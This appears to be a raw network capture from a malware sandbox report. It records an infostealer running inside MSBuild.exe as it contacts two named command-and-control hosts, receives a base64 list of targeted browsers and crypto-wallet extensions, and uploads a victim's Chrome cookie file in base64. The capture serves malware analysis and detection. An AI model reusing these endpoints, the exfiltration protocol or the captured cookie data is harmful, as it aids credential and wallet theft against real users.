Oct 7, 2024 21:18:52.369571924 CEST	1236	IN	Data Raw: ff 75 10 c6 45 08 00 8b cf 53 52 ff 75 08 53 e8 80 0b 00 00 5f 5b 5d c2 0c 00 e8 95 01 00 00 cc 53 8b 5c 24 08 55 8b 6c 24 18 56 57 8b 7c 24 18 55 57 53 e8 60 01 00 00 8b 74 24 30 8d 04 6b 56 ff 74 24 38 50 e8 bf d7 ff ff 8b 44 24 34 2b c5 40 50 Data Ascii: uESRuS_[]S\$Ul$VW\|$UWS`t$0kVt$8PD$4+@PoP.CP6$_^][V;t$tt$^VWt$3t$ffx_^VWt$3ff[YPt$_^US]WGO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49951	45.132.206.251	80	3924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:54.770142078 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: cowod.hopto.org Content-Length: 3217 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:54.770169020 CEST	3217	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DGIJEGHDAECAKE
Oct 7, 2024 21:18:56.497720003 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 19:18:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org
Oct 7, 2024 21:18:56.499597073 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 19:18:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org
Oct 7, 2024 21:18:56.501393080 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 19:18:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org
Oct 7, 2024 21:18:56.502965927 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 19:18:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49973	95.164.90.97	80	7672	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:58.876480103 CEST	93	OUT	GET / HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:59.893264055 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 21:18:59.896321058 CEST	441	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCF Host: kasm.zubairgul.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 44 37 34 42 42 42 44 43 42 38 33 39 34 36 30 39 38 34 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 2d 2d 0d 0a Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="hwid"33D74BBBDCB83946098432-a33c7340-61ca------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AKEGIIJDGHCAKFHJEHCF--
Oct 7, 2024 21:19:00.514592886 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|6ea235afe25d7b7c082089b449036267\|1\|1\|1\|0\|0\|50000\|10
Oct 7, 2024 21:19:00.516062975 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJ Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="mode"1------IJKFHDBKFCAAECBFIDHJ--
Oct 7, 2024 21:19:01.130163908 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 7, 2024 21:19:01.130259991 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 7, 2024 21:19:01.157341003 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 2d 2d 0d 0a Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="mode"2------KKFBAAFCGIEGDHIEBFII--
Oct 7, 2024 21:19:01.796494961 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 7, 2024 21:19:01.796539068 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 7, 2024 21:19:01.796591997 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 7, 2024 21:19:01.796624899 CEST	1236	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 7, 2024 21:19:01.796659946 CEST	904	IN	Data Raw: 58 59 57 78 73 5a 58 52 38 4d 58 78 76 59 32 70 6b 63 47 31 76 59 57 78 73 62 57 64 74 61 6d 4a 69 62 32 64 6d 61 57 6c 68 62 32 5a 77 61 47 4a 71 5a 32 4e 6f 61 48 77 78 66 44 42 38 4d 48 78 57 5a 57 35 76 62 53 42 58 59 57 78 73 5a 58 52 38 4d Data Ascii: XYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobmpsYXBtZmJuamhvbGZqa2lpZGJjaHwxfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldH
Oct 7, 2024 21:19:01.798340082 CEST	517	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: kasm.zubairgul.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 2d 2d 0d 0a Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="mode"21------DGDBKFBAKFBFHIECFBFI--
Oct 7, 2024 21:19:02.421461105 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 7, 2024 21:19:02.491848946 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIE Host: kasm.zubairgul.com Content-Length: 5613 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:19:02.491890907 CEST	5613	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFIEGCAECGCAEB
Oct 7, 2024 21:19:03.199201107 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:19:03.247868061 CEST	1014	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: kasm.zubairgul.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 61 32 33 35 61 66 65 32 35 64 37 62 37 63 30 38 32 30 38 39 62 34 34 39 30 33 36 32 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="token"6ea235afe25d7b7c082089b449036267------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DGCBAFIJDGHCAKECAEGC--
